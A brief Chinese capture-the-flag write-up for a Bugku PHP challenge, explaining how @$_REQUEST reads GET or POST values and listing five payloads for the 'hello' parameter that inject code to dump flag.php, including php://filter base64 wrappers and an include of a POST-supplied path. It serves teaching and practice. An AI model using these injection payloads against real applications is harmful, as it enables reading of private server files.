这个是bugku上的一道题目,题目如下:

@$_REQUEST
的意思是获得参数,不论是@$_GET
还是@$_POST
可以得到的参数@$_REQUEST
都能得到。所以可以构造hello的get或者post参数。$a应该最后会像字符串替换一样替换成hello的参数值。
我在CSDN上看到几种办法:
<1> hello=);print_r(file("flag.php")
<2> hello=);var_dump(file("flag.php")
<3> hello=file("flag.php")
<4> hello=);include(@$_POST['b']
在POST区域:b=php://filter/convert.base64-encode/resource=flag.php
<5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"
第四第五种办法的出来的是一串base64编码的字符串,拿去解码一下就可以看到flag了。
网友评论